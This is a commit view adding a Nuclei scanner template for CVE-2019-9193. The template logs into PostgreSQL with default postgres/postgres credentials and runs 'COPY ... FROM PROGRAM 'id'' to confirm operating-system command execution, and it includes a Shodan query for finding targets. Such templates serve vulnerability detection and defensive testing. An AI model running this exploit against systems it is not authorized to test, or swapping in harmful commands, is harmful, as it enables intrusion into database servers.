CVE-2019-9193 - Add
parent
827e356e9a
commit
5d17f869dd
|
@ -0,0 +1,50 @@
|
|||
id: CVE-2019-9193
|
||||
|
||||
info:
|
||||
name: PostgreSQL 9.3-12.3 Authenticated Remote Code Execution
|
||||
author: pussycat0x
|
||||
severity: high
|
||||
description: |
|
||||
In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.
|
||||
reference:
|
||||
- https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
|
||||
metadata:
|
||||
shodan-query: product:"PostgreSQL"
|
||||
tags: cve,cve2018,js,network,postgresql,intrusive
|
||||
|
||||
javascript:
|
||||
- code: |
|
||||
const postgres = require('nuclei/postgres');
|
||||
const client = new postgres.PGClient;
|
||||
const qry = ["CREATE TABLE cmd_exec(cmd_output text);", "COPY cmd_exec FROM PROGRAM 'id';", "SELECT * FROM cmd_exec;", "DROP TABLE IF EXISTS cmd_exec;",];
|
||||
for (const x of qry){
|
||||
connected = client.ExecuteQuery(Host, Port, User, Pass, Db, x);
|
||||
Export(connected);
|
||||
}
|
||||
|
||||
args:
|
||||
Host: "{{Host}}"
|
||||
Port: 5432
|
||||
User: "{{usernames}}"
|
||||
Pass: "{{password}}"
|
||||
Db: "{{database}}"
|
||||
|
||||
payloads:
|
||||
usernames:
|
||||
- postgres
|
||||
database:
|
||||
- postgres
|
||||
password:
|
||||
- postgres
|
||||
|
||||
attack: clusterbomb
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "cmd_output"
|
Loading…
Reference in New Issue